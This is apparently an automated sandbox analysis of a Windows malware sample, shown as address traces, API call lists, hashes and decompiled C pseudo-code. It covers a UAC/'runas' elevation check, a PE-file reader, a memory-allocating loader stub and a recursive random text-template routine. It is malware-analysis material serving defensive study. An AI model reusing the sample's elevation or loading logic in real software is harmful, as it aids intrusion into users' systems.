0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

runas, xrefs: 00409674
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 02c90039dd5e0d2f298814235b15cd03e90890ab853bc0ac468cd28d80cea276
Instruction ID: 924ce57823b3937ed4c35517774568446ba98198d0cd78b8dfe5a9e81b103e77
Opcode Fuzzy Hash: 02c90039dd5e0d2f298814235b15cd03e90890ab853bc0ac468cd28d80cea276
Instruction Fuzzy Hash: 84A181B2540208BBEB21DFA1CC45FDF3BACEB44744F104437FA05A2192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,74B043E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74B043E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74B043E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,74B043E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,74B043E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74B043E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74B043E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74B043E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74B043E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,74B043E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,74B043E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,74B043E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,74B043E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: RtlFreeHeap.NTDLL(00000000), ref: 0040EC48

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: 6dbad05f9cb94e9a7dddcacd0bf89fc71cec95b1f6de40b9ad1891892b845bd3
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: 6dbad05f9cb94e9a7dddcacd0bf89fc71cec95b1f6de40b9ad1891892b845bd3
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 02F0003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02F0024D

Strings

kernel32.dll, xrefs: 02F0008F, 02F00095
cess, xrefs: 02F0018D

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 7e884f608a665ab3bcf7249a3efce351dc39c91c3b33e947fe80f5ad3161276d
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 58525A75A01229DFDB64CF58C984BACBBB1BF09304F1480D9E94DAB391DB30AA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00405472, Relevance: 9.6, APIs: 5, Strings: 1, Instructions: 624
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00405472(void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int* _v8;
				signed int _v12;
				signed int _v16;
				CHAR* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v308;
				signed int _t277;
				CHAR* _t281;
				void* _t282;
				void* _t283;
				intOrPtr _t288;
				CHAR* _t295;
				CHAR* _t300;
				CHAR* _t301;
				void* _t305;
				void* _t313;
				void* _t327;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				CHAR* _t338;
				void* _t339;
				CHAR* _t348;
				int _t349;
				intOrPtr _t353;
				void* _t354;
				void* _t355;
				intOrPtr _t360;
				CHAR* _t371;
				CHAR* _t381;
				void* _t382;
				signed int _t389;
				void* _t390;
				signed int _t391;
				char* _t394;
				void* _t395;
				signed int _t397;
				void* _t402;
				intOrPtr _t407;
				CHAR* _t415;
				signed int _t416;
				char* _t419;
				void* _t420;
				signed int _t422;
				void* _t423;
				intOrPtr _t428;
				CHAR* _t436;
				intOrPtr _t453;
				void* _t458;
				intOrPtr _t464;
				void* _t467;
				intOrPtr _t471;
				void* _t485;
				signed int* _t490;
				intOrPtr _t512;
				signed int _t524;
				intOrPtr _t527;
				intOrPtr _t533;
				signed int _t544;
				intOrPtr _t555;
				signed int _t563;
				signed int _t586;
				CHAR* _t602;
				intOrPtr* _t605;
				void* _t607;
				void* _t608;

				_push(_a8);
				_v32 = _v32 & 0x00000000;
				E00404763(__eflags, _a4);
				_t471 = _a20;
				_v44 = _a12;
				_v52 = _a16;
				if(_t471 != 0) {
					_t464 = _a24;
					if(_t464 != 0) {
						_v40 = _t471;
						_v48 = _t464;
						_v32 = 1;
					}
				}
				do {
					_t277 = _v32;
					_t605 =  *((intOrPtr*)(_t607 + _t277 * 4 - 0x30));
					_t467 =  *((intOrPtr*)(_t607 + _t277 * 4 - 0x28)) + 4;
					_t602 = 0;
					_push(0);
					while( *(E00404AE6(_t467) + 0x10) != 0) {
						while(1) {
							_t281 = E0040EE95();
							_v20 = _t281;
							__eflags = _t281;
							if(_t281 == 0) {
								break;
							}
							_t282 = E00404AE6(_t467, _t602);
							__eflags =  *((char*)(_t282 + 0x24)) - 0x44;
							if( *((char*)(_t282 + 0x24)) == 0x44) {
								L53:
								_t283 = E00404AE6(_t467, _t602);
								__eflags =  *(_t283 + 0x28);
								_push(_t602);
								if( *(_t283 + 0x28) == 0) {
									L61:
									 *( *((intOrPtr*)( *_t605 + 4))()) = 0;
									L62:
									( *((intOrPtr*)( *_t605 + 4))(_t602))[0x10000] = 1;
									_t288 = _a28;
									__eflags = _t288 - 0xa;
									if(_t288 < 0xa) {
										_t301 = _t288 + 1;
										__eflags = _t301;
										E00405472(_t301,  *((intOrPtr*)( *_t605 + 4))(_t301), _t602, 0x10000, _a12, _a16, _a20, _a24);
										_t608 = _t608 + 0x1c;
									}
									L64:
									_push( *((intOrPtr*)( *_t605 + 4))(_t602, _a4 - _v20 + _a8, 1));
									_t295 = E00404AE6(_t467, _t602) + 0x10;
									__eflags = _t295;
									L65:
									_push(_t295);
									_push(_v20);
									E0040EF7C(__eflags);
									_t608 = _t608 + 0x14;
									_push(E00404AE6(_t467, _t602) + 0x10);
									_t300 =  &(_v20[1]);
									__eflags = _t300;
									_push(_t300);
									continue;
								}
								_t305 = E00404AE6(_t467);
								__eflags =  *((char*)(_t305 + 0x24)) - 0x51;
								_push(_t602);
								_t485 = _t467;
								if( *((char*)(_t305 + 0x24)) != 0x51) {
									_v8 = E00404AE6(_t485) + 0x28;
									_t237 = E0040ECA5() %  *_v8;
									__eflags = _t237;
									_v16 = _t237;
								} else {
									 *((intOrPtr*)(E00404AE6(_t485) + 0x34)) =  *((intOrPtr*)(_t319 + 0x34)) + 1;
									__eflags =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x34)) -  *0x412020; // 0x1
									if(__eflags > 0) {
										_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x38)) + 1;
										_t327 = E00404AE6(_t467, _t602);
										asm("cdq");
										_t224 = _v8 %  *(_t327 + 0x28);
										__eflags = _t224;
										_v8 = _t224;
										 *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x38)) = _v8;
										 *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x34)) = 1;
									}
									_v16 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x38));
								}
								_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x40)) + _v16 * 4;
								_t313 = E00404AE6(_t467, _t602);
								_t490 = _v8;
								L60:
								lstrcpyA( *((intOrPtr*)( *_t605 + 4))( *((intOrPtr*)(_t313 + 0x3c)) +  *_t490), _t602);
								goto L62;
							}
							_t332 = E00404AE6(_t467, _t602);
							__eflags =  *((char*)(_t332 + 0x24)) - 0x51;
							if( *((char*)(_t332 + 0x24)) == 0x51) {
								goto L53;
							}
							_t333 = E00404AE6(_t467, _t602);
							__eflags =  *((char*)(_t333 + 0x24)) - 0x53;
							if( *((char*)(_t333 + 0x24)) != 0x53) {
								L10:
								_t334 = E00404AE6(_t467, _t602);
								__eflags =  *((char*)(_t334 + 0x24)) - 0x58;
								if( *((char*)(_t334 + 0x24)) != 0x58) {
									goto L64;
								}
								_v28 = _v28 & 0x00000000;
								_v24 = _v24 & 0x00000000;
								_t335 = E00404AE6(_t467, _t602); // executed
								_t338 =  &(_v20[lstrlenA(_t335 + 0x10)]);
								__eflags =  *_t338 - 0x7c;
								_v16 = _t338;
								if( *_t338 != 0x7c) {
									L51:
									_t339 = E00404AE6(_t467, _t602);
									__eflags =  *(_t339 + 0x28);
									_push(_t602);
									if( *(_t339 + 0x28) == 0) {
										goto L61;
									}
									_v8 = E00404AE6(_t467) + 0x28;
									_v8 = E0040ECA5() %  *_v8 << 2;
									_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x40)) + _v8;
									_t313 = E00404AE6(_t467, _t602);
									_t490 = _v8;
									goto L60;
								}
								_v12 =  &(_t338[1]);
								_t348 = E0040ED03( &(_t338[1]), 0x7c);
								__eflags = _t348;
								if(_t348 == 0) {
									goto L51;
								}
								_t512 = _t348 - _v20;
								_v36 = _t512;
								__eflags = _t512 + 1 - 0x100;
								if(_t512 + 1 >= 0x100) {
									goto L51;
								}
								_t349 = _t348 - _v16;
								_v16 = _t349;
								lstrcpynA( &_v308, _v12, _t349);
								 *((char*)(_t607 + _v16 - 0x131)) = 0;
								_t353 = _a28;
								__eflags = _t353 - 0xa;
								if(_t353 < 0xa) {
									__eflags = _t353 + 1;
									E00405472(_t353 + 1,  &_v308, 0x100, _a12, _a16, _a20, _a24, _t353 + 1);
									_t608 = _t608 + 0x1c;
								}
								_v12 = _v12 & 0x00000000;
								_t354 = E00404AE6(_t467, _t602);
								__eflags =  *(_t354 + 0x28);
								if( *(_t354 + 0x28) <= 0) {
									L44:
									_t355 = E00404AE6(_t467, _t602);
									__eflags =  *(_t355 + 0x28);
									_push(_t602);
									if( *(_t355 + 0x28) == 0) {
										 *( *((intOrPtr*)( *_t605 + 4))()) = 0;
										goto L48;
									}
									_v8 = E00404AE6(_t467) + 0x28;
									_v8 = E0040ECA5() %  *_v8 << 2;
									_t381 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x40)) + _v8;
									__eflags = _t381;
									_v8 = _t381;
									_t382 = E00404AE6(_t467, _t602);
									_t524 = _v8;
									goto L46;
								} else {
									do {
										_t527 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44));
										_t389 = _v12;
										__eflags =  *((intOrPtr*)(_t527 + _t389 * 4)) - 0xffffffff;
										if( *((intOrPtr*)(_t527 + _t389 * 4)) == 0xffffffff) {
											L22:
											_t74 =  &_v24;
											 *_t74 = _v24 + 1;
											__eflags =  *_t74;
											goto L23;
										}
										_v16 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44)) + (_v12 << 2);
										_v16 = E0040EE95( *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x3c)) +  *_v16,  &_v308);
										_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44)) + (_v12 << 2);
										_t453 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x3c));
										_t586 =  *_v8;
										__eflags =  *((char*)(_t453 + _t586)) - 0x21;
										if( *((char*)(_t453 + _t586)) == 0x21) {
											__eflags = _v16;
											if(_v16 != 0) {
												goto L23;
											}
											goto L22;
										}
										__eflags = _v16;
										if(_v16 != 0) {
											_v28 = _v28 + 1;
										}
										L23:
										_v12 = _v12 + 1;
										_t390 = E00404AE6(_t467, _t602);
										__eflags = _v12 -  *((intOrPtr*)(_t390 + 0x28));
									} while (_v12 <  *((intOrPtr*)(_t390 + 0x28)));
									__eflags = _v28;
									if(_v28 == 0) {
										__eflags = _v24;
										if(_v24 == 0) {
											goto L44;
										}
										_t391 = E0040ECA5();
										_v24 = _v24 & 0x00000000;
										_v16 = _t391 % _v24;
										_t394 =  *((intOrPtr*)( *_t605 + 4))(_t602);
										_v12 = _v12 & 0x00000000;
										 *_t394 = 0;
										_t395 = E00404AE6(_t467, _t602);
										__eflags =  *(_t395 + 0x28);
										if( *(_t395 + 0x28) <= 0) {
											L48:
											( *((intOrPtr*)( *_t605 + 4))(_t602))[0x10000] = 1;
											_t360 = _a28;
											__eflags = _t360 - 0xa;
											if(__eflags < 0) {
												_t371 = _t360 + 1;
												__eflags = _t371;
												E00405472(__eflags,  *((intOrPtr*)( *_t605 + 4))(_t371), _t602, 0x10000, _a12, _a16, _a20, _a24);
												_t608 = _t608 + 0x1c;
											}
											lstrcpynA( &_v308, _v20, _v36 + 2);
											 *((char*)(_t607 + _v36 - 0x12f)) = 0;
											_push( *((intOrPtr*)( *_t605 + 4))(_t602, _a4 - _v20 + _a8, 1));
											_t295 =  &_v308;
											goto L65;
										} else {
											goto L36;
										}
										do {
											L36:
											_t533 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44));
											_t397 = _v12;
											__eflags =  *((intOrPtr*)(_t533 + _t397 * 4)) - 0xffffffff;
											if( *((intOrPtr*)(_t533 + _t397 * 4)) == 0xffffffff) {
												L39:
												__eflags = _v24 - _v16;
												if(_v24 == _v16) {
													_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x40)) + _v12 * 4;
													_t382 = E00404AE6(_t467, _t602);
													_t524 = _v8;
													L46:
													lstrcpyA( *((intOrPtr*)( *_t605 + 4))( *((intOrPtr*)(_t382 + 0x3c)) +  *_t524), _t602);
													goto L48;
												}
												_t156 =  &_v24;
												 *_t156 = _v24 + 1;
												__eflags =  *_t156;
												goto L41;
											}
											_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44)) + (_v12 << 2);
											_t407 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x3c));
											_t544 =  *_v8;
											__eflags =  *((char*)(_t407 + _t544)) - 0x21;
											if( *((char*)(_t407 + _t544)) != 0x21) {
												goto L41;
											}
											_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44)) + (_v12 << 2);
											_t415 = E0040EE95( *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x3c)) +  *_v8,  &_v308);
											__eflags = _t415;
											if(_t415 != 0) {
												goto L41;
											}
											goto L39;
											L41:
											_v12 = _v12 + 1;
											_t402 = E00404AE6(_t467, _t602);
											__eflags = _v12 -  *((intOrPtr*)(_t402 + 0x28));
										} while (_v12 <  *((intOrPtr*)(_t402 + 0x28)));
										goto L48;
									}
									_t416 = E0040ECA5();
									_v28 = _v28 & 0x00000000;
									_v16 = _t416 % _v28;
									_t419 =  *((intOrPtr*)( *_t605 + 4))(_t602);
									_v12 = _v12 & 0x00000000;
									 *_t419 = 0;
									_t420 = E00404AE6(_t467, _t602);
									__eflags =  *(_t420 + 0x28);
									if( *(_t420 + 0x28) <= 0) {
										goto L48;
									} else {
										goto L26;
									}
									do {
										L26:
										_t555 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44));
										_t422 = _v12;
										__eflags =  *((intOrPtr*)(_t555 + _t422 * 4)) - 0xffffffff;
										if( *((intOrPtr*)(_t555 + _t422 * 4)) == 0xffffffff) {
											goto L31;
										}
										_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44)) + (_v12 << 2);
										_t428 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x3c));
										_t563 =  *_v8;
										__eflags =  *((char*)(_t428 + _t563)) - 0x21;
										if( *((char*)(_t428 + _t563)) == 0x21) {
											goto L31;
										}
										_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x44)) + (_v12 << 2);
										_t436 = E0040EE95( *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x3c)) +  *_v8,  &_v308);
										__eflags = _t436;
										if(_t436 == 0) {
											goto L31;
										}
										__eflags = _v28 - _v16;
										if(_v28 == _v16) {
											_v8 =  *((intOrPtr*)(E00404AE6(_t467, _t602) + 0x40)) + _v12 * 4;
											_t382 = E00404AE6(_t467, _t602);
											_t524 = _v8;
											goto L46;
										}
										_t112 =  &_v28;
										 *_t112 = _v28 + 1;
										__eflags =  *_t112;
										L31:
										_v12 = _v12 + 1;
										_t423 = E00404AE6(_t467, _t602);
										__eflags = _v12 -  *((intOrPtr*)(_t423 + 0x28));
									} while (_v12 <  *((intOrPtr*)(_t423 + 0x28)));
									goto L48;
								}
							}
							_t458 =  *((intOrPtr*)( *_t605 + 4))(_t602);
							__eflags =  *((char*)(_t458 + 0x10000));
							if( *((char*)(_t458 + 0x10000)) == 0) {
								goto L53;
							}
							goto L10;
						}
						_t602 =  &(_t602[1]);
						__eflags = _t602;
						_push(_t602);
					}
					_t266 =  &_v32;
					 *_t266 = _v32 - 1;
					_t614 =  *_t266;
				} while ( *_t266 >= 0);
				E00404699(_a4, _a8);
				_push(_a8);
				E00404763(_t614, _a4);
				_push(_a8);
				_push(_a4);
				E00404F9F();
				return 1;
			}

0x0040547b
0x0040547e
0x00405485
0x0040548f
0x00405492
0x00405498
0x0040549d
0x0040549f
0x004054a4
0x004054a6
0x004054a9
0x004054ac
0x004054ac
0x004054a4
0x004054b6
0x004054b6
0x004054bd
0x004054c1
0x004054c4
0x004054c6
0x00405b3e
0x00405b2a
0x00405b2a
0x00405b30
0x00405b34
0x00405b36
0x00000000
0x00000000
0x004054e3
0x004054e8
0x004054ec
0x004059ca
0x004059cd
0x004059d2
0x004059d6
0x004059d7
0x00405aa8
0x00405aaf
0x00405ab2
0x00405aba
0x00405ac1
0x00405ac4
0x00405ac7
0x00405ac9
0x00405ac9
0x00405ae5
0x00405aea
0x00405aea
0x00405aed
0x00405b01
0x00405b0a
0x00405b0a
0x00405b0d
0x00405b0d
0x00405b0e
0x00405b11
0x00405b16
0x00405b24
0x00405b28
0x00405b28
0x00405b29
0x00000000
0x00405b29
0x004059df
0x004059e4
0x004059e8
0x004059e9
0x004059eb
0x00405a60
0x00405a6d
0x00405a6d
0x00405a6f
0x004059ed
0x004059f2
0x00405a00
0x00405a06
0x00405a17
0x00405a1a
0x00405a24
0x00405a25
0x00405a25
0x00405a2b
0x00405a36
0x00405a41
0x00405a41
0x00405a53
0x00405a53
0x00405a86
0x00405a89
0x00405a8e
0x00405a91
0x00405aa0
0x00000000
0x00405aa0
0x004054f5
0x004054fa
0x004054fe
0x00000000
0x00000000
0x00405507
0x0040550c
0x00405510
0x00405527
0x0040552a
0x0040552f
0x00405533
0x00000000
0x00000000
0x00405539
0x0040553d
0x00405544
0x00405553
0x00405556
0x00405559
0x0040555c
0x00405977
0x0040597a
0x0040597f
0x00405983
0x00405984
0x00000000
0x00000000
0x00405994
0x004059a9
0x004059ba
0x004059bd
0x004059c2
0x00000000
0x004059c2
0x00405566
0x00405569
0x00405570
0x00405572
0x00000000
0x00000000
0x0040557a
0x0040557d
0x00405581
0x00405587
0x00000000
0x00000000
0x0040558d
0x00405594
0x0040559e
0x004055a7
0x004055af
0x004055b2
0x004055b5
0x004055b7
0x004055d1
0x004055d6
0x004055d6
0x004055d9
0x004055e0
0x004055e5
0x004055e9
0x0040588f
0x00405892
0x00405897
0x0040589b
0x0040589c
0x004058f7
0x00000000
0x004058f7
0x004058a8
0x004058bd
0x004058c8
0x004058c8
0x004058ce
0x004058d1
0x004058d6
0x00000000
0x004055ef
0x004055ef
0x004055f7
0x004055fa
0x004055fd
0x00405601
0x00405678
0x00405678
0x00405678
0x00405678
0x00000000
0x00405678
0x00405616
0x0040563b
0x00405651
0x0040565c
0x0040565f
0x00405661
0x00405665
0x00405672
0x00405676
0x00000000
0x00000000
0x00000000
0x00405676
0x00405667
0x0040566b
0x0040566d
0x0040566d
0x0040567b
0x0040567b
0x00405681
0x00405689
0x00405689
0x00405692
0x00405696
0x00405792
0x00405796
0x00000000
0x00000000
0x0040579c
0x004057a8
0x004057af
0x004057b2
0x004057b5
0x004057bc
0x004057bf
0x004057c4
0x004057c8
0x004058fa
0x00405902
0x00405909
0x0040590c
0x0040590f
0x00405911
0x00405911
0x0040592d
0x00405932
0x00405932
0x00405946
0x0040594f
0x0040596b
0x0040596c
0x00000000
0x00000000
0x00000000
0x00000000
0x004057ce
0x004057ce
0x004057d6
0x004057d9
0x004057dc
0x004057e0
0x00405847
0x0040584a
0x0040584d
0x00405882
0x00405885
0x0040588a
0x004058d9
0x004058e8
0x00000000
0x004058e8
0x0040584f
0x0040584f
0x0040584f
0x00000000
0x0040584f
0x004057f8
0x00405803
0x00405806
0x00405808
0x0040580c
0x00000000
0x00000000
0x00405821
0x0040583c
0x00405843
0x00405845
0x00000000
0x00000000
0x00000000
0x00405852
0x00405852
0x00405858
0x00405860
0x00405860
0x00000000
0x00405869
0x0040569c
0x004056a8
0x004056af
0x004056b2
0x004056b5
0x004056bc
0x004056bf
0x004056c4
0x004056c8
0x00000000
0x00000000
0x00000000
0x00000000
0x004056ce
0x004056ce
0x004056d6
0x004056d9
0x004056dc
0x004056e0
0x00000000
0x00000000
0x004056f8
0x00405703
0x00405706
0x00405708
0x0040570c
